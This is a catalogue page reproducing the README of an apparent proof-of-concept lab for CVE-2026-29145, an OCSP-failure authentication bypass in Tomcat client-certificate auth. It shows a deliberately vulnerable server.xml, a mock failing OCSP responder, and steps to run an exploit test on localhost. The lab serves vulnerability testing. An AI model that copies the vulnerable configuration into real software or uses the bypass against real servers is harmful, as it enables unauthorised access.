Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-29145-Tester — Этот репозиторий содержит среду proof-of-concept (PoC), предназначенную для тестирования CVE-2026-29145. | Kitploit
Инструменты/GitHubGitHub/sancliffe/cve-2026-29145-tester
Анализ уязвимостейЭксплуатацияВеб-безопасностьТестирование на ПроникновениеАутентификацияОбучение и Образование
GitHubsancliffe/cve-2026-29145-tester

CVE-2026-29145-Tester

Этот репозиторий содержит среду proof-of-concept (PoC), предназначенную для тестирования CVE-2026-29145.

Репозиторий
195 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Среда тестирования CVE-2026-29145

📌 Обзор

Этот репозиторий содержит среду proof-of-concept (PoC), предназначенную для тестирования CVE-2026-29145.

Уязвимость представляет собой обход аутентификации в реализации Mutual TLS (CLIENT_CERT) в Apache Tomcat. Когда OCSP (Online Certificate Status Protocol) настроен с отключённым soft-fail, Tomcat может не рассматривать сбой проверки OCSP как жёсткий отказ. Это позволяет клиенту с потенциально отозванным или непроверенным сертификатом обойти аутентификацию, если OCSP-ответчик недоступен или возвращает ошибку.

🛡️ Детали уязвимости

СвойствоЗначение
CVE IDCVE-2026-29145
CVSS Score9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Вектор атакиСеть
Требуемые привилегииНет
ВоздействиеОбход аутентификации

Предварительные условия для уязвимости

  • ✓ Аутентификация CLIENT_CERT включена в Tomcat
  • ✓ Проверка отзыва OCSP включена
  • ✓ Опция soft-fail отключена (режим hard-fail)
  • ✓ Недоступный или неисправный OCSP-ответчик

🚀 Начало работы

Предварительные требования

  • Docker и Docker Compose: Для запуска уязвимого контейнера Tomcat
  • OpenSSL: Для генерации PKI (инфраструктуры открытых ключей) — обычно предустановлен в Linux/macOS
  • Python 3.7+: Для запуска тестового скрипта и имитации ответчика
  • curl (необязательно): Для ручного тестирования
  • PowerShell (только Windows): Если используются скрипты .ps1

1. Автоматизированный полный цикл тестирования (рекомендуется)

Скрипт run_test.sh автоматизирует весь процесс: очистку, генерацию сертификатов и запуск всех тестовых сценариев (уязвимый, успешный и исправленный).

# Переход в каталог проекта
cd CVE-2026-29145-Tester

# Сделать скрипты исполняемыми
chmod +x cleanup.sh setup_certs.sh run_test.sh

# Установка зависимостей Python (если требуются для poc_exploit.py)
pip install -r requirements.txt

# Запуск полного набора тестов
./run_test.sh

2. Генерация сертификатов

На Linux/macOS:

./setup_certs.sh

На Windows (PowerShell):

.\setup_certs.ps1

Что это делает:

  • Создаёт корневой ЦС (центр сертификации)
  • Генерирует серверный сертификат для Tomcat
  • Генерирует клиентский сертификат с расширением OCSP, указывающим на http://localhost:8888
  • Проверяет, что все сертификаты созданы успешно

Ожидаемый вывод:

[INFO] Starting certificate generation for CVE-2026-29145 testing environment
[INFO] OpenSSL found: OpenSSL 3.0.x (...)
[INFO] Created certs directory
[INFO] Generating Root CA...
[INFO] Generating Server Certificate...
[INFO] Generating Client Certificate with OCSP Extension...
[INFO] Certificate setup completed successfully!

3. Запуск уязвимой среды

docker-compose up -d

Что это делает:

  • Запускает имитацию OCSP-ответчика на порту 8888 (имитирует сбой с HTTP 500)
  • Запускает уязвимый Tomcat 10.1.52 на порту 8443 с аутентификацией CLIENT_CERT
  • Создаёт внутреннюю сеть Docker для взаимодействия сервисов
  • Настраивает проверки работоспособности для обоих сервисов

Проверка запущенных контейнеров:

docker-compose ps

4. Запуск теста эксплуатации

python poc_exploit.py

Ожидаемые результаты:

Уязвимая система:

[INFO] Attempting connection to https://localhost:8443/protected-resource...
[WARNING] VULNERABLE: Access granted despite OCSP check failure.
[WARNING] Response preview: <html>...

Исправленная система:

[INFO] Attempting connection to https://localhost:8443/protected-resource...
[INFO] NOT VULNERABLE: Access denied (Authentication working).

🧪 Сценарии тестирования

СценарийСтатус OCSPОжидаемый (исправленный)Результат (уязвимый)Примечания
Нормальная работаОнлайн и действителен200 OK ✓200 OK ✓Проверка OCSP успешна, доступ разрешён
Мягкий сбойОфлайн/таймаут403 Forbidden ✓200 OK ✗ОБХОД - OCSP-ответчик недоступен
Жёсткий отзывОнлайн и отозван403 Forbidden ✓403 Forbidden ✓Сертификат явно отозван
Недействительный сертификатНедействительная цепочка403 Forbidden ✓403 Forbidden ✓Проверка цепочки не пройдена

Запуск различных сценариев тестирования

Тест 1: По умолчанию (сбой OCSP-ответчика)

# Оставить контейнеры запущенными
python poc_exploit.py

Тест 2: Остановка OCSP-ответчика (имитация таймаута)

docker-compose pause ocsp-responder
python poc_exploit.py
docker-compose unpause ocsp-responder

Тест 3: Ручное тестирование с помощью curl

curl -v \
  --cert certs/client-cert.pem \
  --key certs/client-key.pem \
  --cacert certs/ca-chain.pem \
  https://localhost:8443/protected-resource

🛠️ Структура проекта

CVE-2026-29145-Tester/
├── README.md                    # Этот файл
├── setup_certs.sh              # Скрипт генерации сертификатов - Bash (Linux/macOS)
├── setup_certs.ps1             # Скрипт генерации сертификатов - PowerShell (Windows)
├── cleanup.sh                  # Скрипт очистки и сброса - Bash (Linux/macOS)
├── cleanup.ps1                 # Скрипт очистки и сброса - PowerShell (Windows)
├── run_test.sh                 # Скрипт автоматизированного полного цикла тестирования
├── docker-compose.yml          # Оркестрация сервисов Docker
├── requirements.txt            # Зависимости Python
├── poc_exploit.py              # Основной тестовый скрипт (с логированием и обработкой ошибок)
├── simple_proxy_fail.py        # Имитация OCSP-ответчика (с подробным логированием)
├── .gitignore                  # Правила Git ignore для сертификатов и логов
├── certs/                      # Сгенерированные сертификаты (создаются скриптами setup_certs)
│   ├── ca-chain.pem           # Сертификат корневого ЦС
│   ├── ca-key.pem             # Закрытый ключ корневого ЦС
│   ├── server-cert.pem        # Серверный сертификат Tomcat
│   ├── server-key.pem         # Закрытый ключ сервера Tomcat
│   ├── client-cert.pem        # Тестовый клиентский сертификат
│   └── client-key.pem         # Закрытый ключ тестового клиента
├── tomcat/
│   └── server.xml             # Уязвимая конфигурация Tomcat
└── logs/                       # Логи Tomcat (создаются во время выполнения)

📋 Детали конфигурации

Конфигурация Server.xml (уязвимая)

Файл tomcat/server.xml настраивает:

<SSLHostConfig 
    hostName="localhost"
    certificateVerification="required"
    caCertificateFile="conf/certs/ca-chain.pem">
    
    <OpenSSLConf>
        <ConfCommand name="OCSP" value="on"/>
    </OpenSSLConf>
</SSLHostConfig>

Ключевые настройки:

  • certificateVerification="required" - Обеспечивает аутентификацию CLIENT_CERT
  • OCSP on - Включает проверку отзыва OCSP
  • Нет переопределения soft-fail - Используется режим hard-fail (уязвимый)

Конфигурация OCSP-ответчика

Имитация OCSP-ответчика (simple_proxy_fail.py):

  • Прослушивает localhost:8888
  • Всегда возвращает HTTP 500 (ошибка сервера)
  • Логирует все входящие OCSP-запросы
  • Имитирует недоступный/неисправный OCSP-сервис

🔧 Устранение неполадок

Распространённые проблемы и решения

❌ Ошибка: «OpenSSL is not installed»

# macOS
brew install openssl

# Ubuntu/Debian
sudo apt-get install openssl

# CentOS/RHEL
sudo yum install openssl

❌ Ошибка: «Missing certificate files»

Причина: Генерация сертификатов не удалась или не была запущена.

# Очистка и повторная генерация
rm -rf certs
./setup_certs.sh

❌ Ошибка: «Connection refused» на порту 8443

Причина: Контейнер Tomcat не запущен или не готов.

# Проверка статуса контейнера
docker-compose ps

# Проверка логов
docker-compose logs vulnerable-tomcat

# Убедиться, что оба сервиса запущены и работают
docker-compose up -d
sleep 10  # Ожидание запуска сервисов
Скачать инструмент